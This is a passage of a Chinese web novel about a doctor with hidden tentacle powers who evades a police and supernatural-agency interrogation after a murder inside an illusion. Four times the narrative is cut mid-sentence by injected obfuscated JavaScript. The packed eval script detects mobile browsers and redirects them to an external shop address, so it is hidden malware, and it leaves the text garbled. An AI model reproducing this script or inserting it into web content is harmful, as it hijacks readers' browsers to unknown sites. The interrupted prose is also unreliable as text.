她的面孔短暂地浮现出空白，周围的触手瞬间如同巨兽，直接将人影拢了进去，它们纠结在一起，蠕动扭曲，势必要将她拆吃入腹。 周围的空气被无限挤压，简初开始感受到呼吸困难，大脑中时不时出现闪烁缭乱的万花筒，又或者是密密麻麻的星状斑点，但不变的是那一道叫嚣着要将她吃掉的声音。 [抓到你了！] [好香！好香！] [吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你可以因为感到恐惧或者威胁，而做出更保守的选择，但很多事情无法逃避。” “不要再往前了，你现在只能走到这里。” 简初向前的脚步停住了，一股莫名的阻力拒绝了她靠近水镜，它离她一步之遥，伸出手臂似乎就能摸到，但总是差了一线。 “你说的没错。”她低低应了一声，“危险无处不在，我得做好万全的准备。” “但他们不会等你做好准备再找上门来，从第一天起，我就告诉了你这件事，你拥有的能力完全可以让你不用如此狼狈，但你害怕被察觉，不敢使用它们。” “你可以更加大胆一点，就算发现也没什么大不了的。” “你如今孤身一人，但这不是长久之计，你需要同伴，越多越好。” 81. 灯下黑（81） 简初没有来得及再多问一句，周围的场景便瞬间陷入黑暗，但她知道，自己再睁眼要面对什么。 身边的空气变得灼热，鼻尖嗅到烧焦的气味，身体表面的皮肤感受到炙烤的疼痛，简初睁开眼，看向倒在地上刚被扭断脖子的吴起，心下警铃大作。 再过几秒，这个幻境就会被人扯开一个大口子，她将和顾杰羽正面相遇。 她不能允许这种情况出现，深思熟虑已经成为简初长久以来的本能，她不可能因为系统的几句话，就立刻毫无后顾之忧地信任他们。 “顾姐，你慢一点，小心有危险。”路玺冲前头的人喊了一声，意料之中没有得到回应，反倒看见顾杰羽脚步更加匆忙。 他刚要再次提醒，耳机里突然响起意料之外的声音：“路哥，幻境在消散！” 是易阳。 幻境内外是无法实现通讯的，但结合对方的话，路玺眼神一凛，迅速小跑跟上顾杰羽，刚想开口说什么，就看见前人停下脚步，路玺预料到了什么，越过顾杰羽的肩膀看过去，一个男人正歪着脖子，无声无息地躺在地上，脖子拧转的角度十分夸张，已经没救了。 “我们晚了一步。” 顾杰羽走上前，周围的幻境如潮水一般退却，藏于其后的现实与之相差无异，她伸手摸了摸男人的脖子，还是温热且富有弹性的，应该刚死没多久。 她长叹了一口气，起身回头：“把你的人都喊进来吧，再看看幻境里其他人的情况。” “凶手就在其中。” …… “路哥，什么情况？” 易骄易阳迅速抵达了现场，夜店的客人们暂时由蓝湾警卫总队的工作人员负责安抚，但所有人都不能离开此地。 “外头的人怎么处理？人数太多，留不了多久。”易阳问道。 因为夜店今晚有活动，所以客人的数量很多，把所有人都强留在这里显然不是一个好办法，而蓝湾总队又无法同时接收这么多人，更重要的是，他们没有合适的理由要求民众配合。 “这儿交给你们，那边我去处理。”顾杰羽面色平静地朝他们点头示意，毫不留恋地离开了，“你们忙完记得过来，异能者我处理不了。” “路哥，这……”易骄犹豫着开口，但路玺却一副意料之中的样子。 “联系署里的备勤，把这人的尸体带走。”他撑着膝盖站起身，“有能力杀死多层幻境的构建者甚至全身而退，凶手才是真正的烫手山芋。” 很明显，对方不想跟他们碰面，因此干脆利落地杀完人，就迅速离开了现场，不管对方的立场如何，他们都不能放任这么一颗大雷继续埋着。 “先上检测仪，感知一下异能的残留波动。”他安排道，虽然未必奏效，但该做的事情还是不能遗漏。 “是！”易阳挺了挺胸，火速去取设备了。 路玺眉头紧锁：“我们在明，对方在暗，但我们的存在密级很高，他未必知道我们掌握了多少信息。” “有必要的时候，可以诈一诈。” …… “你还好吗？”颜和十分担忧地靠着简初，她被发现的时候倒在卫生间，幸好很快苏醒，让人稍稍放心了一点。 此刻凌晨两点半，明光路仍然处于封锁当中，整条街道都黑乎乎的，但尽头还是能看到其他街道的光亮，夜风吹来并不算凉，反倒有几分舒适。 “没事，害你担心了。”简初摸摸脑袋，托着手里的一次性纸杯，慢慢喝了口水，“这会几点了？” 她的手机不知道是不是受到幻境磁场的影响，已经完全没办法再用了。 “两点半。”颜和说着，将手机举到她面前，简初漫不经心地扫了一眼时间，但下一秒，视线就凝固在界面显示的日期上。 她竟然在幻境待了三天？！ 而且这个时间点，几乎可以确定与她第一次穿越的时间重叠，这看上去并不像是巧合，但有待验证。 “吃点东西吧，几天了肯定都饿坏了。”颜和递过来两个包子，简初默不作声地接过，咬了一口。 “你喜欢的笋丁馅，特地挑的。”颜和看到她微微睁大眼，心满意足地弯了弯眼角。 每个从夜店出来的客人身边都有警察陪同，几乎掏空了蓝湾大队以及支队的所有办公室，才凑出这么多人来。 “现在到底是什么情况？”简初问道，她虽然坐在这，但也没闲着，一直在眼观六路耳听八方，观察其他从幻境出来的人的反应，以防万一。 她看着颜和露出纠结的表情，轻笑了一声：“我的错，忘记了这是机密？” 颜和工作特殊，而且责任心很强，工作上的事情连家人都不太提及，简初也早已习惯，此时自然不会为难她。 “你别担心。”颜和也有几分不好意思，好朋友遭遇了意外，自己甚至都不能说些什么，“很快就可以走了，应该只是一场意外。” 她的语气出乎意料的轻松，简初沉默着点了点头，心下已经明白颜和并不了解情况，而周围警员们的表情也是疲惫无奈大于紧张，看来实际情况受到了严格的保密。 简初想起了顾杰羽身边的陌生面孔，心底竟升起一丝隐秘的期待。 那会是官方的异能者组织吗？ …… “哒！” 一声清脆的按键声，面前的灯陡然亮起，简初眯着眼适应了会，双眼才不再酸胀，同时也看清了面前的两个人。 一男一女，男性是顾杰羽身边的那张面孔，而女性又是一个全然的新角色。 这阵仗可不像是对待受害者的态度，不过简初被带回来的时候见到不少同样的待遇的人，这多少给她吃了一颗定心丸，看来并不是他们发现了什么，而是所有疑点人员都被带回来了。 “简初女士，我们有点情况要跟你了解。” 这连自我介绍的步骤都省略了，简初懒洋洋地抬起眼皮看了一眼，十足的困倦模样，但这不能怨她，从幻境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13221939|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里出来的每个人都是这么一副萎靡不振的样子。 “我当然会配合，不过一定要是现在吗？”她的语气听上去并不美妙，但还是尽力克制了，“我不知道现在是什么情况，现在你们不去调查原因，给我们一个解释，这算是怎么回事？” “我现在很累，没有办法清醒地思考。”她抬起眼皮，眼下一团青黑看起来像被吸干了精气。 “没关系，我们会帮你想的。” 路玺的表情没有任何变化，他垂着眼翻着手里的报告，她的生平履历已经毫无保留地展现出来，他也能够从中做出对这个人最基本的评价。 单纯从履历看，简初确实是一个非常优秀的人。抛开从世俗层面略显不幸的家庭，她的学业、事业都非常地一帆风顺，拥有远超出普通人的水平，虽然没有家庭，朋友也不多，但同学、同事对她的评价都很高，当然，也有人认为她有一些不近人情，不参加聚会活动，拒绝跟大多数人维持“关系”。 这反而是正常的，如果所有人都是一致好评，反而会是一个不太良好的信号。 除此之外，她最亲近的朋友正在蓝湾总队工作，甚至总队里接触过她的警员也不少，听说他们将简初列为了重点目标，都是一副欲言又止的模样。 那个表情路玺非常熟悉，他们不觉得这人有问题，尽管他们连这起事件的内情都不知道。 “你平时并没有去夜店的习惯，这次怎么想起来去玩了？”他放下手里的材料，抬头紧盯简初的表情，她看起来很累，眼皮子都在控制不住地打架。 “早点说完早点走啊。”路玺伸手敲了敲桌子。 简初深吸一口气，用力睁了睁眼：“最近乱七八糟的事情太多，就想出来放松一下，本来只是闲逛，看到那里有很多人在排队，就去凑个热闹。” “乱七八糟的事情？” “之前那个案子啊。”简初歪歪脑袋，眯了眯眼，“刘迪的案件，当时好像不是你们俩来的，我没在蓝湾见过你们。” “总队这么多人，总有你没见过的。”路玺没有继续这个话题，他站起身，朝旁边的女子点点头，又转头跟简初强调了一番。 “好好想，把你留下来肯定不是没有原因的。” 说完，他竟然就这么离开了。 简初挑挑眉，看向对面的女性：“他怎么走了，你一个人问不合规矩吧，我还想早点回家呢。” 女子面色平静地站起来，拿起身后的水壶倒了杯水，走到了简初身边。 她并没有将一次性水杯放在桌面上，而是亲手递过来，示意简初来接。 简初垂下眼看了看，嘴角轻微抽动了一下，又被迅速按捺住：“谢谢，他什么时候回来，我想早点回家休息。” 她这么说着，动作自然地碰到对方的手，皮肤触碰之间，一道细微的电流闪过，但两人的表情都镇定自若，她将杯子放下，不着痕迹瞥了眼旁边大块的黑色玻璃。 有人在看着她。 82. 灯下黑（82） 单向玻璃的背后，站着不止一个人。 路玺当然知道此前的系列案件，他离开不过是为了给易骄一个合理的发挥空间，旁边的张国栋对此时的情况有些摸不着头脑，但由于工作习惯，面上还是一副淡定的样子。 “有话就问，这儿没犯人看你脸色。”顾杰羽瞧他的样子，无奈地摇了摇头。 “顾姐，协查申请上面还没批呢。”路玺提醒道。 “哦。”顾杰羽明显失去了兴致，“那又怎么样，反正是要通过的。” 路玺：“……话是这么说。” 张国栋就在一旁听着两个人云里雾里，内心挣扎片刻，最终还是没有开口，却等来了路玺的询问。 “你们手里的几起案件应该还没什么进展吧？” 在张国栋看来，这话说得有些没头没尾，因为最新的报告已经交到对方手里了。 “两个死者，现场都没有被监控拍摄到，甚至章平走过的所有道路，监控都是损坏的。”路玺的表情有一些耐人寻味，他似乎在嘲讽蓝湾糟糕的基础设施，又似乎在暗示着什么。 “天底下哪有这么巧的事呢。”他叹了口气，兜里的手机突然响起，张国栋注意到对方的手机看起来很奇特，像是特制的。 “嗯，我知道了。” 这么近的距离，张国栋竟然一点都没有听到电话那头的声音，直到路玺关上手机，意味不明地看了他一眼，接着朝顾杰羽说：“批了，上面要求我们暂驻蓝湾，包括之前的几起案件，都将由我们全权接管，至于……请你们安排可信的人手，配合我们的行动。” 说完，他用非常期待的眼神布灵布灵地看着顾杰羽。 顾杰羽点点头：“我会帮忙的，另外，可信的人这里就有一个。” 张国栋微微汗颜，但他已经莫名感受到，要有什么不一样的事情发生了。 “看过小说没，异能者知道吗？” 轻飘飘的几个字，仿佛重锤敲打在他的脑袋上，嗡嗡作响。 “呃，看过……”张国栋说。 这个回答得到了另外两人无语的凝视，路玺抿抿唇继续解释：“刘迪和章平都是异能者，易骄从他们身上读到了残存的异能波动，她的检查结果从不出错。” “另外，吴起也是异能者，这人你们应该也很熟吧。” 熟，怎么不熟，两个受害人死前都跟他打了电话，要不是证据不足，早就把人扣押了。 “那你们没有发现，里头的人，在这里面也搅得很深吗？”路玺伸手点了点面前的防弹玻璃，“第一，她去过刘迪的死亡现场，第二，章平死前挂过她的号，并且在地铁站发生过冲突，第三，她出现在了吴起的死亡现场。” 是这样没错，但刘迪和章平她都没有足够的作案时间，而吴起死在夜店二楼，简初却是在一楼卫生间被发现。 这几个案件中，简初就算是用跑的，也不可能在杀完人之后平静地离开现场，并在远处的监控里留下身影，形成完美的不在场证明。 一个成天做手术的医生，就算勤于锻炼，也不可能…… 张国栋后背突然一阵寒意，直接窜到了天灵盖。 “她……是异能者吗？” 路玺垂着眼皮，看向里头默不作声的易骄，从刚刚开始她就没有看过自己一眼，这是他们约好的信号。 “很可惜，她不是。” …… “终于回来了。”简初面前的水杯还是满的，她听到身后门打开，却懒得回头看一眼，“还有什么要问的能不能快一点，搞这些虚头巴脑的东西，我明天会投诉你们的。” 她的声音充满困意，听上去毫无威胁。 但进来的并不是路玺，直到两人坐在她面前，换走了原本的女性，简初才抬着眼皮看过去。 “颜和一直在外头等你。”顾杰羽没头没尾地说了句，“怎么不喝水。” “怕你们不让我上厕所。”简初表情变得诚恳了几分，“我也不想让她等，这不是得看你们的意思？” 张国栋默不作声地打量着她，果然和路玺说得一样，面对勉强算是熟人的他们，简初的戒心要降低很多，但他不明白的是，明明说她不是异能者，为什么还要让他们来试探。 说好的异能从不出错，结果八百个心眼子。 “什么情况你不清楚吗？”见顾杰羽没有继续开口的意思，张国栋清清嗓子，面色严厉地一拍桌子，大声喊道，“刘迪、章平、吴起，来，你跟我说说，你什么都不知道？！” 简初被他的大嗓门吓得一哆嗦，眼睛都睁圆了：“我应该……知道什么吗？” 她脸上思考的表情真实而明显，反应也在张国栋意料之中。 “哼，想不起来就待这，直到想起来为止。”张国栋双手抱胸向后仰去，典型的缺乏安全感的姿势，他对自己说的话没有信心，但现实情况又要求他虚张声势。 简初面上表情不变，但说的话却丝毫不客气：“你们这是非法拘禁，把我带过来光说一些没头没脑的话，关于我遭遇的危险情况毫无解释，我真的对你们的专业能力持怀疑态度。” “你！”张国栋最讨厌跟这种人扯皮，话问不到几句，投诉举报请律师一条龙，一项都少不了。 “简初女士，你应该认识我，托颜和的关系，我们见过几次，也算有几分了解。”顾杰羽抬手阻止了张国栋继续开口，“你和普通人不一样，但你可以信任我们。” 她的话里带着隐晦的暗示，但简初对此毫无反应。 “这三个人我可以告诉你，都已经死了，你前段时间来配合调查的案件，死者就是刘迪。”她站起身，走到了简初身边。 “第二个，章平，他去找你看过病，还记得吗？”顾杰羽看着她的表情从茫然，接着开始思考，之后是恍然，最后变成了怀疑。 “第三个，吴起，死在了夜店楼上，不过你应该会说你不认识他。”顾杰羽靠坐在桌边，“他们三个之间都是认识的，而且，不是什么好人。” 简初看着她耸耸肩，绕了一圈又回到自己的座位上：“你一个医生，有能力的话，为民除害也是有可能的？” 简初的表情变得难以言喻，似乎在说…… “你认真的吗？我甚至都不认识他们，就因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13268190|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为一些巧合的偶遇，能看出他们不是好人，然后就嫉恶如仇动手杀了他们？这是在演电影吗？” “我一天天上班已经很累了，没空去研究谁在做坏事，唯一的愿望就是能早点下班，回家睡觉。” “如果他们威胁到你了呢，是不是有理由动手了？”顾杰羽自顾自说。 “现在警方办案靠编故事了吗？”简初耐心即将告罄，她有些崩溃地拍上桌子，一副筋疲力尽的摆烂模样，“你们要是这么想，我也没办法，只能请律师来了。” 简初心中没有表现得那么自如，从两人的话音看来，他们已经知道异能者的存在了，信息来源，只可能是刚刚那两个人。 尤其是那个女性，如果对方试探过自己是否拥有异能，那唯一的可疑点，就是她将水杯递给自己的时候。 但他们表现出来的态度暧昧不明，说明对方很可能认为自己不是异能者。无论如何，可以确定的是简初一旦暴露，之后的行动将会受到严格的管束，最麻烦的就是猎杀任务会变得无比艰难。 场面暂时陷入了僵持，不过没几分钟，那两人又进来换下了顾杰羽和张国栋，但简初对此反应平平，做足了“我不想搭理你们的架势”。 “已经很晚了，简女士你可以先回去了，需要我们安排警车送送吗？”路玺一副完全不知道刚刚里面聊了什么的模样，见简初撩起眼皮看过来，他接着开口，“之后有情况还希望你能配合，做一些简单的询问。” “我还以为你们要把我在这关上个几天呢。”简初挖苦道。 “没有的事，这是违法的，最多只能24小时。”路玺毫无眼色，认真回答了她的话。 “那我还得谢谢你。”简初皱着脸站起身，“那就麻烦你们安排车送一送了，我的车还停在明光路呢。” “路上小心，我们就不……”路玺没想到她真答应了，只能吞下准备好的台词，临时改口，“那你稍等会。” 简初一出来，颜和脑袋上的天线一下ber起，仿佛接收到神奇的信号，三步并作两步窜了过来。 “你没事吧！”她下意识检查了一下，发现人还好，才松了口气，“真是的，怎么想到把你带回来的。” 颜和小声叨叨，脸颊都有些鼓了起来，让人很想戳一下，简初也这么做了，但在颜和发作之前抢先开口。 “我好困，你下班吗？” “下的……吧？”颜和将目光投向顾杰羽，得到了允许，“下的下的！” 简初的目光从顾杰羽身上飘了一下，思考她的决定是因何而来，蓝湾接连发生命案，总队应该已经忙的不可开交，前段时间颜和就有通宵加班的趋势了。 她环顾四周，办公大厅内的氛围和她上次来的时候完全不同，明明在凌晨加班，警员们脸上却都露出有些轻松的笑容。 很明显，这次的事件包括前段时间的系列案件，将由新来的这些人接手。 简初从窗户的镜面里看了一眼那几个陌生的面孔，接着面无表情地扭开头：“那我们一起走吧，有警车送。” 在场人：“……” 这是真不客气。 83. 灯下黑（83） 简初再睁眼已经是下午，现在已经看不到任何关于这起事件的讨论，但由于警方的介入，医院还是给她批了两天假。 不得不说，演戏比打架累多了，而且这出戏也不算多成功，但能拖点时间也算不错了。 厚厚的窗帘拉得严严实实，简初把空调调得很低，整个屋子里都是一股凉飕飕的冷风，仿佛进了冰窖一样，但她却丝毫没有觉得冷，反而感觉胸口有一团火在灼烧，让人浑身发烫。 但她并不觉得虚弱，而是精力旺盛到一拳能打死十头牛，不过这对简初来说并不是坏事，她现在大脑十分清醒，很适合考虑自己现在的处境。 突然从模拟赛场回到这里，她还不太适应，再多来几次，怕不是要精神分裂了。简初摸摸瘪瘪的肚子，拿了瓶冰牛奶，喝了一口才慢慢悠悠地走到窗前，挑起帘子朝外看了一眼。 外头天光正盛，隔着玻璃都能感受到滚烫的热度，楼下的停车位停了一辆黑色的小轿车，要是她没记错，这车凌晨就停这了，精神力看到车上的两个光点，让简初没忍住笑出了声。 这么热的天，真是难为他们了。 简初似乎想起了什么，仔细把窗帘拉严实，关上卧室房门坐在了床脚，下一秒，几只粗壮油亮的黑色触手便从她身上冒了出来，她很确定自己没听错，这一次的系统播报说的并不是【升级】而是【升格】，也许与模拟大赛的那只触手怪有关。 尽管它最后逃走了，但斩落的触手却被她吸收，这算什么，吃人者人恒吃之吗？ 触手的根部依旧是一片半透明的金光，但长度明显和之前不一样，最初的两公分，在她杀了吴起之后变成了半公分，而现在……她伸出手比划了一下，确定这一截已经有她一掌宽，大约十公分。 也许是【升格】带来的变化？随着能力的增强，金光会越来越宽，也许有一天，整条触手都会变成，和星际世界一样的状态。 而且数量也变多了。 简初看着在床上开心打滚的三条触手，有些好奇地伸手戳了戳，依旧是富有弹性的手感，除了外形之外看上去没什么变化，她只能暂且将这个问题放在一边。 不知道下一个猎杀目标会是谁，她现在有一些期待系统的出现，希望能从它那里得到一些额外的信息。 她有预感，这一次的猎杀任务，也许会跟那一群新面孔有所交集。 正在这时，手机铃声突然响起，打破了一室寂静，她拿起手机看见上面的名字。 鸽子精来电。 “喂，我就知道你已经醒了，感觉怎么样，有没有哪里不舒服？”那一头的声音有点失真，周围没有有其他动静，想必是颜和找了个僻静的角落跟她通话。 “还得是你，时间掐得这么准，我刚醒没多久，正在吃东西。”简初说着，脸上不自觉就露出笑容，“感觉还好，这两天请了假，可以休息休息。” “那太好了！”电话那头是轻巧的欢呼声，“今天晚上来我这里吃饭啊，今天我下厨，好久没做饭都手生了，只有你才有这种待遇哦！” 简初刚要开口，颜和就迅速阻止了。 “不许拒绝，我就知道你忘了明天过生日，八点准时过来啊，迟到的话要你好看，啊，同事喊我了，拜拜！” 通话被迅速切断，最后那一句过于夸张，一听就是假的，却让人忍俊不禁，简初低着头摁开日历，上面显示“距离颜和生日还剩31天”，她们俩的生日刚刚好相差一个月。 看来颜和并没有加入新的案件调查小组，不过事关重大，肯定是要仔细筛选参与人员，限制知晓范围，看来他们暂时只选了顾杰羽和张国栋两人，不过相比之下，顾杰羽看起来要自如得多，如果不是因为她接受能力异于常人，那就是……她早就知道异能的存在了。 简初想起后来那两人进门时，下意识和顾杰羽交换了一个眼神，并且有微微点头的动作，但这样的视线并没有分给张国栋，只能说明他们原本就是认识的。 这就有意思了。 如果顾杰羽也是他们的一员，那么她来到蓝湾的目的会是什么？ “噔噔噔！” 系统的音乐声响起，简初怔了怔，转而露出笑容。 等的就是你。 “蓝湾的异常已经开始浮出水面，你已经发现这些只是冰山一角，异能管理署的介入宣告蓝湾的动荡正式开始，而他们手里更是有你迫切需要的信息，合作或是潜伏，都取决于你，但不论如何，记得给自己留下底牌。” “任务目标：调查系列案件背后的真相。” “重要说明：底牌只需一张绝杀。” 系统的存在仿佛是简初的指路明灯，尤其是在与“水镜”对话过后，她更加确定，系统掌握的信息非比寻常，它的每一次出现都毫无预兆，却对她的选择有着至关重要的影响。 很可惜，这次并没有发布猎杀任务，也许是因为自己还没有跟下一个目标接触过。 不过异能管理署，听上去是个很厉害的机构。 …… 这个季节的白天很长，简初抵达颜和家门口的时候外面还是蒸腾的暑气，让人有一些呼吸不畅，知了叫了一天，声音也变得有气无力，但还是非常敬业地发出“吱哇吱哇”的噪音。 现在还没有到一年最热的时候，但已经让人受不了了，走近楼道内才感受到一点凉意。 [我到楼下了。] 简初拿出手机发了一条消息，得到颜和的回信才放心打开了门，扑面而来的凉意夹带着温温的水汽和饭菜的香味，让简初的肚子很不争气地叫了一声。 “快关门！冷气都跑走了！”颜和从厨房里探出头，门上的布帘子上写着圆乎乎的“猫肥家润”，墙角还有一个猫爬架，但环顾屋内却并没有小猫的踪迹。 颜和被调到办案小组之后工作愈加繁忙，就把小猫送回了家，由她的父母来养，两人也是喜欢小动物的人，虽说以前没有养过，但很快适应了，据说麻薯现在已经改名叫咪咪，体重也涨了两斤。 “这种时候就很想小麻薯，它可喜欢你了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13268191|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还记得不？”颜和又从厨房端出一盘菜，“每次都要和你玩，吃个虾都得你来喂。” 她的脸皱皱巴巴的，明晃晃写着“我的小猫不爱我”。 “看，麻薯的毛。”简初笑了笑，从布艺沙发的角落拈出一小撮毛，“虽然麻薯送回家两年了，但是为什么我每次来都能从奇怪的地方摸出猫毛。” “你不懂，这是小麻薯给我留下的礼物。”颜和神神叨叨，转身又进了厨房，“你要喝点什么，啊，电话……你好，麻烦放电梯里吧……宝贝你去拿一下外卖啊！” 简初看她忙得不行，心里有些过意不去：“下次别这么忙了，我们可以出去吃。” “啊不行，出去吃是不一样的……啊！你别去拿外卖，我来！”颜和匆匆忙忙跑到门外，却看见简初已经提着蛋糕回来了，“啊——我的惊喜，就这么没了。” “已经很惊喜了。”简初将人推回屋子，“你是不是忘了我们只有两个人。” “多吃点多吃点，我今年都没下过厨了，感觉都有些把握不准‘适量’的量到底有多少了，赶紧尝尝是不是你喜欢的那个味道。”颜和笑眯眯说道。 “我还没问你，今天下班怎么这么早。”简初坐到桌边，开口问道，“最近这么多案件，你们应该很忙吧？” “啊，原本是的。”颜和点点头，工作安排这种事不涉及案件详情，也不算机密，谈论几句倒也无所谓，“不过案件移交给其他部门了，说是暂时不需要我们，之后有变化会通知的。” “所以最近可以准点下班啦，希望这种好事多一点，啊当然不是说案件啦。” 简初也觉得这样很好，异常已经超出了普通警员能够处理的范围，颜和不参与反倒是安全的。 “真好，我也想准点下班。”简初托着下巴，“后天又要去上班了，肯定有一堆事等着我呢。” 此事非彼事，等着她处理的事情远不止医院那些工作，简初又不可控制地想到了辞职这个选项。 医院的忙碌会严重限制她的行动，但现在也不是辞职的好机会，毕竟异能署的人还盯着她呢。 颜和把蜡烛点上，关上灯拉上窗帘，催促简初赶紧许愿。 在楼下两人的眼中，就看到屋子的灯光突然熄灭，正当他们紧张地打算冲上楼之际，灯又重新亮起。 “这次怎么不问我许了什么愿？”简初乖乖坐在原地，抬头看着颜和重新把灯打开。 “哼哼，你许什么愿我还能不知道，我这么了解你，肯定是……”颜和露出一个狡黠的笑容，“我不说，说出来就不灵了。反正一定可以实现的，不管是什么愿望。” “嗯。”简初切下两角蛋糕，“借你吉言，待会回去的路上我会记得买彩票的。” “啊！你不要说！说出来就不能中奖了！”颜和垮下肩膀，“今年我们暴富的愿望又要落空了，都怪你，只能靠我下个月来许愿了。” “嗯哼，但是我没说许的这个愿望啊！”简初弯弯眼角，“说好的保密，我可不会忘。” 84. 灯下黑（84） 简初回到公寓楼的时候小区已经没有人在外走动，路灯周围都是疯狂舞动的飞蛾，让她想起模拟大赛的那只扑棱蛾子，心情一时有些不太美妙。 “叮咚。” 电梯门应声而开，一个年轻人正站在走廊里，听见动静便停下敲门的手，转头向这边看过来。 看见简初，他愣了两秒，才开口说话：“简初姐，你不在家啊？” “嗯，怎么了？”简初皱着眉向前走了几步，周霖的表情看上去还挺着急的。 “我刚回来，从监控里看到有奇怪的人在你家门口停留了好一会，所以来问问你有没有遇到什么事。”年轻的男孩子挠挠头，脸上满是尚未被社会严刑拷打的天真和热忱，他说着，回头指了指自己大门旁的门铃。 “这是可视门铃来着，家里人担心我一个人住在外面，让我装的，刚装上就拍到这种事，说不定之前已经来踩过点了，你要小心啊。” 有人来踩点？ “你做医生的经常加班，又是一个人独居，有人会专门挑你们这种人下手的。”周霖一脸严肃地喋喋不休，“对了，我这边有监控录像，你需要的话我可以发你一份。” 简初上下打量了一下门口的墙面，并没有什么特殊标记，便转过来跟对方道谢：“以防万一，还是麻烦你发给我了。” “好的，你等等，我们加个好友？”周霖掏出手机，“我也猜你会需要，就提前下载了，我发你。” 两人站在门口顺利加上好友，很快，一个大概三分钟的视频就发到了简初手里，她草草看了一眼，发现这视频的清晰度还挺高的，周霖感受到她看向门铃的眼神，非常有眼力见地继续开口。 “姐你需要门铃吗，我可以把厂家联系方式发你。” 从简初姐，到姐，还挺会顺杆爬，看来是被家里引导地很好的小孩，在同龄人里应该也是八面玲珑。 “那就谢谢你了。” 发完联系方式，周霖便礼貌提出告辞，两道关门声过后，走廊很快又陷入一片漆黑，两朵荧蓝色的鬼火“噗”地一声突然亮起，紧接着骤然熄灭。 …… 此时的蓝湾总队主楼，依旧一片灯火通明。 会议室最前方的白板上贴满了照片，之间有各色的笔迹将它们连接起来，几乎在场的每一个人都在上面留下了字迹。 这一次异能署总共派了五个人来，除了路玺三人，另外两人只会待一段时间，等到前期的困境突破后，便回到总部接受其他的工作安排。 如果不是蓝湾一下子冒出这么多异能者，是绝对不会安排这么多人临时在这边驻扎下来的。 “就这样？”一个中年男人沉声开口，他的手指规律地敲击在桌面上，垂着眼在思考什么，“信息太少了，推测也没有可靠的依据。” 顾杰羽走过去，将白板最中央的照片摘下，上面赫然是简初入职医院时拍下的第一张工作照，照片里的人面容和现在比起来变化不大，不过那时的眼神还透露出一些对未来的迷茫。 “我跟马组长的意见一样，在没有证据的情况下，不适宜过度深入，哪怕路玺你对此有很多看法。” “跟刘迪有直接接触的是温南，章平的跟踪目标也是温南，相比之下，目前更应该从那边入手。”她补充道，“退一万步来说，温南的心理素质不如简初，会是个很好的突破点。” “我同意，简初这个人虽然出现在每个现场，但是她跟被害人毫无关系，没有理由对他们动手，最重要的是，一个普通人怎么可能连杀三个异能者却全身而退，路玺你的想法太荒唐了。”另一名跟顾杰羽年岁相仿的女性开口说道，不过相比之下，她要精致许多，看上去非常的明媚妍丽。 被人接连反驳，路玺的表情依旧平平淡淡的，他不是没有跟易骄多次确认，但得到的答案都是对方确实没有异能，但也不是没有另一种可能。 易骄的异能感知是靠异能库的信息一点一点喂出来的，如果简初拥有的是一种全新的异能，那完全有可能无法感知到。 “可以作为一种可能性，但不够有说服力，现在的异能库大类已经非常全面了，我很难想象什么样的异能会超脱这个范畴。”马瑞安斩钉截铁地开口，“我认为现在的重点应该放在温南和吴起身上，刘、章两人是受他的指示做事，除此以外，我在想他们会不会，和天选会有关系。” 此言一出，整个会议室都安静下来，只有张国栋缩着脖子，茫然却小心翼翼地看着周围人的脸色。 “天选会不是在白海那边活动吗，蓝湾离那边太远了，势力范围不可能这么大的吧。”宋也犹豫着开口，染着红蔻的指甲不安地敲动了桌面。 如果是天选会，那么蓝湾就出大问题了。 “最近白海平静了很多，而同一时间的蓝湾恶性伤害事件急剧增加，三个异能者说多不多，说少也不算少了，扎堆出现，扎堆送命，可不是一句巧合能解释的。” 马瑞安作为异能署第二行动组的组长，信息权限比其他人要高许多，知道的事情自然也更多。 “宋也你用我的名义跟一组发个协查函，我记得听他们提过一嘴，最近天选会有大动作，看看有没有涉及蓝湾的信息，易骄易阳你们接着跟着简初，路玺带着你顾姐和这位……” “张国栋。” 马瑞安露出一个抱歉的笑容：“和这位张警官一起，调查温南和刘、章之间的关系，时间充足的话再看看吴起平日的关系网。” “易骄明天先跟我们去找一趟温南吧。”顾杰羽平静开口，“比起简初，我觉得杀死刘迪的人反倒可能是她，也许她才是有异能的那个人。” …… 第二天一早，出门上班的温南被堵个正着。 